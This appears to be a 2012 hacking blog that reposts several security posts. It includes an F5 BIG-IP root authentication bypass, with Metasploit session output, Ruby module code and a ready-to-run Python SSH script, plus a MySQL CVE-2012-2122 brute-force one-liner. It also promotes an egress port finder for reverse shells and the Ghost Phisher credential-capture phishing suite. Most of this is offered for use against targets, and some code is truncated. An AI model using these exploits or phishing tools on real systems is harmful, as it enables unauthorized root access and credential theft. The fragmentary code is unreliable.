Thursday, June 28, 2012

“Egress Buster” – Find outbound ports

A friend was recently on a penetration test and needed a port on the outside. I haven’t found any decent tools out there for finding what ports are allowed outbound to help with reverse shells and stuff like that so I wrote one real quick. Note that this was written in about 15 minutes and the code can absolutely be improved. I’ll probably go back and clean it up sometime. There are some limitations, for one, operating systems in general start to puke when you generate over a 1000 listeners, so you will need to test a 1000 at at time. Good news is the socket handlers are multi-threaded so you can cycle through about a 1000 ports in well under a minute. Here’s the general concept:
You are on the inside network somehow and need to find what ports are allowed out to the Internet. There’s two main files/components – egressbuster and egress_listener. Egressbuster connects out on whatever ports you specify and tries to connect to an Internet facing computer thats running egress_listener.
Very simple to run:
On victim:

example: egressbuster.exe 1-1000

In the above example, we specify a low port range and high port range, egressbuster will attempt to connect from port 1 to 1000 outbound to wherever the reverse_listener is.
The listener:

example: python 1-1000

In the above example, we just specify what ranges we need to listen to. In the above example we listen from 1 to 1000 for incoming connections. When a connection is established, this is what you'll see on the listener side. connected on port: 170 connected on port: 171 connected on port: 172 connected on port: 173 connected on port: 174 connected on port: 175 connected on port: 176 connected on port: 177 connected on port: 178

If your interested, download the byte compiled code and the python source here.

Press F5 for root shell

As HD mentioned, F5 has been inadvertently shipping a static ssh key that can be used to authenticate as root on many of their BigIP devices. Shortly after the advisory, an anonymous contributor hooked us up with the private key.

Getting down to business, here it is in action:

    18:42:35 0 exploit(f5_bigip_known_privkey) > exploit

    [+] Successful login
    [*] Found shell.
    [*] Command shell session 3 opened ([redacted]:52979 -> [redacted]:22) at 2012-06-22 18:42:43 -0600

    id; uname -a
    uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
    Linux [redacted] 2.4.21-10.0.1402.0smp #2 SMP Mon Feb 15 10:23:56 PST 2010 i686 athlon i386 GNU/Linux
    Background session 3? [y/N]  y

    18:42:35 1 exploit(f5_bigip_known_privkey) >

Of course, since it's just a regular ssh key, you can easily just drop it in a file and use a standard ssh client.

    ssh -i ~/.ssh/f5-bigip.priv root@

The advantage of using Metasploit to exploit this weakness is in the session management and rapid post-exploitation capabilities that the framework offers.
This bug is also interesting in that it gave us a good test case for using static SSH credentials as an exploit module rather than auxiliary. The key difference between exploit and auxiliary modules is usually the need for a payload. If it needs a payload: exploit. Otherwise, it's auxiliary. In this case it's a little blurry, though, because it results in a session, which is typically an exploit trait. Some of our authentication bruteforce scanners get around this with some ruby acrobatics so they can still create a session despite not having a payload or a handler.

From a module developer perspective, this exploit has a few interesting aspects that you won't see elsewhere.
First, and probably most important, it doesn't upload a payload to the victim. The connection itself becomes a shell, so it doesn't need to but that presents a bit of a problem with the framework's design. Fortunately there is a payload for exactly this situation: cmd/unix/interact. This simple payload is different from most; all it does is shunt commands from the user straight to the socket and back. It uses a "find" handler similar to the way a findsock payload works. To tell the framework about the payload and handler this exploit will require, we need a block in the module info like so:

  1.     'Payload'     => {  
  2.       'Compat'  => {  
  3.         'PayloadType'    => 'cmd_interact',  
  4.         'ConnectionType' => 'find',  
  5.       },  
  6.     },  

Since there is really only one payload that works with this exploit, it also makes sense to set it by default:

  1.     'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },  

Next, it uses our modified Net::SSH library to connect to the victim. Most exploits will include Msf::Exploit::Remote::Tcp or one of its descendants; those related mixins all set up the options everyone is familiar with: RHOST, RPORT, etc. Since this one does not, we have to do it manually like so:

  1.     register_options(  
  2.       [  
  3.         # Since we don't include Tcp, we have to register this manually  
  4.         Opt::RHOST(),  
  5.         Opt::RPORT(22),  
  6.       ], self.class  

Lastly, because the handler is of type "find" we must call handler() to get a session. Most Remote::Tcp exploits don't have to do this if they are not compatible with "find" because the handler will spawn a session whenever a connection is made (either reverse or bind). However, all exploits that *are* compatible with "find" payloads must call handler() at some point. Normally there is a global socket created by the Tcp mixin when you call connect() but in this case it is necessary to let the handler know our socket is now a shell.

  1.     def exploit  
  2.       conn = do_login("root")  
  3.       if conn  
  4.         print_good "Successful login"  
  5.         handler(conn.lsock)  
  6.       end  
  7.     end  

This was a fun module to write. The devices it targets can be a goldmine for a pentester who likes packets since they're basically a giant packet sink that lets you read and modify traffic willy nilly. ARP spoofing is noisy and DNS poisoning is hard, let's just own the firewall.

Thursday, June 14, 2012

Stuxnet Review

Just for info maybe it's an old news but Stuxnet still threat all PC in the world especially in industrial.

Wednesday, June 13, 2012

Remote Root Authentication Bypass for F5 BIG-IP

Here’s a quick script written with the private key to bypass the root authentication login for F5′s Big-IP SSH login. Scan for a Big-IP and run this against it and you have root!

 Just copy the below code into a .py file, and run python .py. Enter the IPaddress and your done.


# Title: F5 BIG-IP Remote Root Authentication Bypass Vulnerability (py)
# Quick script written by Dave Kennedy (ReL1K) for F5 authentication root bypass
import subprocess,os

filewrite = file("priv.key", "w")
filewrite.write("""-----BEGIN RSA PRIVATE KEY-----
-----END RSA PRIVATE KEY-----""")

ipaddr=raw_input("Enter the IP address of the F5: ")
subprocess.Popen("ssh -i priv.key root@%s" % (ipaddr), shell=True).wait()

if os.path.isfile("priv.key"):
You are done.
TQ rel1k from SEC-MANIAC
Happy Hunting!! 

12 June 2012 | 1,163 views MySQL 1 Liner Hack Gives Root Access Without Password

MySQL 1 Liner Hack Gives Root Access Without Password

The latest news that has hit the streets is the occurence of the easiest hack ever, if you have local shell access (any user privelege level) and you can connect to MySQL – you can get root access to MySQL within a few seconds.
I tried this yesterday on one of my servers on Ubuntu 12.04 running the latest version of MySQL in the repo…and it worked in about 30 seconds. Scary really, you can use this single line of bash to hack MySQL:

while [ 1 ];do mysql -u root --password=123; done

Or the Python version I originally saw:

import subprocess

while 1:
        subprocess.Popen("mysql -u root mysql --password=blah", shell=True).wait()

" Security experts have identified some 879,046 servers vulnerable to a brute force flaw that undermines password controls in MySQL and MariaDB systems.
According to Rapid7 security chief HD Moore, one in every 256 brute force attempts could override authentication controls on the servers and allow any password combination to be accepted. An attacker only needed to know a legitimate username which in most circumstances included the name ‘root’.
The flaw has already been exploited. Moore reported that the flaw (CVE-2012-2122) was already patched for both MySQL and MariaDB, but many MySQL administrators had not fixed the hole in their deployments.
Upon scanning 1.7 million publicly exposed MySQL servers, he found more than half (879,046) vulnerable to the “tragically comedic” flaw."
There’s a lot of vulnerable servers out there, so you better hope they aren’t yours because it’s not hard to scan whole subnets for servers with port 3306 open that accept connections from the outside world.
And if your server is in that state – it’s vulnerable. I just checked the repos for Ubuntu 10.04 LTS and Ubuntu 12.04 LTS and they both have a patched version of MySQL available for download so I suggest you get on your servers and do -

 aptitude update; aptitude safe-ugprade

 if you are using a shitty OS that uses yum or something – figure it out yourself.

"Affected versions, listed below, require for memcmp() to return an arbitrary integer outside of the range -128 to 127. All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5 and 5.5.22 were vulnerable, Golubchik said.
Moore and other security boffins identified vulnerable versions in Ubuntu 64-bit versions 10.04, 10.10, 11.04, 11.10, and 12.04, OpenSUSE 12.1 64-bit MySQL 5.5.23, and Fedora. Official builds of MariaDB and MySQL were safe, along with Red Hat Enterprise Linux 4, 5 and 6 and some flavours of Debian Linux and Gentoo 64 bit.
A list of accessible MySQL servers found 356,000 deployments running versions of 5.0.x, followed by 285,000 running 5.1.x, and 134,436 running 5.5.x. Another list of MySQL build flavours revealed 43,900 running Ubuntu, 6408 on Debian, and 98,665 on Windows."

Honestly I find that this is a really serious vulnerability, but has a pretty low risk profile. It will only work in cases of badly configured MySQL users where they accept connections from any IP address – user@% type entries in the user table.
NO ONE should be running root@% – so that would mean the attacker would need local shell access. And well if they have that, it’s pretty much game over anyway.

This vulnerability is notated as CVE-2012-2122.
Source: SC Magazine

TQ for this info

Tuesday, June 5, 2012

Ghos-Phisher GUI suite for phishing and penetration attacks

Ghost Phisher is a computer security application that comes inbuilt with a Fake DNS Server, Fake DHCP Server, Fake HTTP server and also has an integrated area for automatic capture and logging of HTTP form method credentials to a database. The program could be used as an honey pot,could be used to service DHCP request , DNS requests or phishing attack.

Ghost Phisher

New Version 1.4 

Ghost Phisher 1.4 includes the following new features
1. Inbuilt High speed RFC 2131 compliant DHCP Server

To install simply run the following command in terminal after changing directory to the path were the downloaded package is:

root@host:~# dpkg -i ghost-phisher_1.3_all.deb
Icons and Running the application:
Software Icon can be found at the application Menu of the GNOME desktop interfaces
Icon can also be found at /usr/share/applications for KDE and also GNOME:
There you find "Ghost Phisher.desktop"

In BackTrack 5 R2 run it from /opt/Ghost-Phisher/ and start.

To get the source code for this project from SVN, here's the checkout link:
root@host:~# svn checkout
Ghost Phisher Penetration Screenshots
Ghost phisher ships in with default Windows and Linux vulnerability pages, These pages can be used for penetration.Ghost automatically recognizes the remote operating system and displays the vulnerability pages according to the information fetched.

Payload Download

This screenshot displays windows machine penetrated upon payload execution using Metasploit

After the remote machines are exploited, Ghost automatically redirects the clients to the internet with the help of the alternate DNS settings and inbuilt cookie system.

Some More Screenshots:
You could Emulate WIFI access points for client redirections

Here shows client connected to fake access point

Heres the Fake-DNS tab; Notice the Fake-IP address specified

Here shows the victim supplied a fake lease by the DHCP

Here shows the victim gettings the fake resolved IP address:

Here shows our HTTP server, with a downloaded webpage intended to be faked:

Since our victim has our fake DHCP server address,therefore he gets directed to our fake http server:

Here shows our database area, which automatically captures and logs forms credentials

Check out his other project:
Saviour Emmanuel Ekiko

Saturday, June 2, 2012

Metasploit on IPhone 4S and IPad 2

With the recent Absinthe Jailbreak which opens up firmware 5.1.1 to Cydia, we once again tried to get Metasploit running on these iBabies. After a bit of fiddling around with various ruby package versions, its seems like the following combination works well with the latest version of Metasploit 4.4.0-dev (as of May 2012).
Of course, you need a jailbroken iPhone or iPad, with apt, OpenSSH server and a SSH client, such as iSSH. Once you are SSH’ed to your iPhone / iPad, run the following commands:

# Install basic tools
apt-get update
apt-get dist-upgrade
apt-get install wget subversion

# Download correct version of ruby and dependencies

# Install them
dpkg -i iconv_1.14-1_iphoneos-arm.deb
dpkg -i zlib_1.2.3-1_iphoneos-arm.deb
dpkg -i ruby_1.9.2-p180-1-1_iphoneos-arm.deb

# Delete them
rm -rf *.deb

# Go into /private var and svn checkout the msf trunk.
# Don't download the MSF tar.gz due to svn client versioning issues

cd /private/var
svn co msf3
cd msf3/

# Check that Metasploit is running
ruby msfconsole
As no blog post is complete without a reverse shell screenshot, here’s a popped shell from the iPhone:

Info from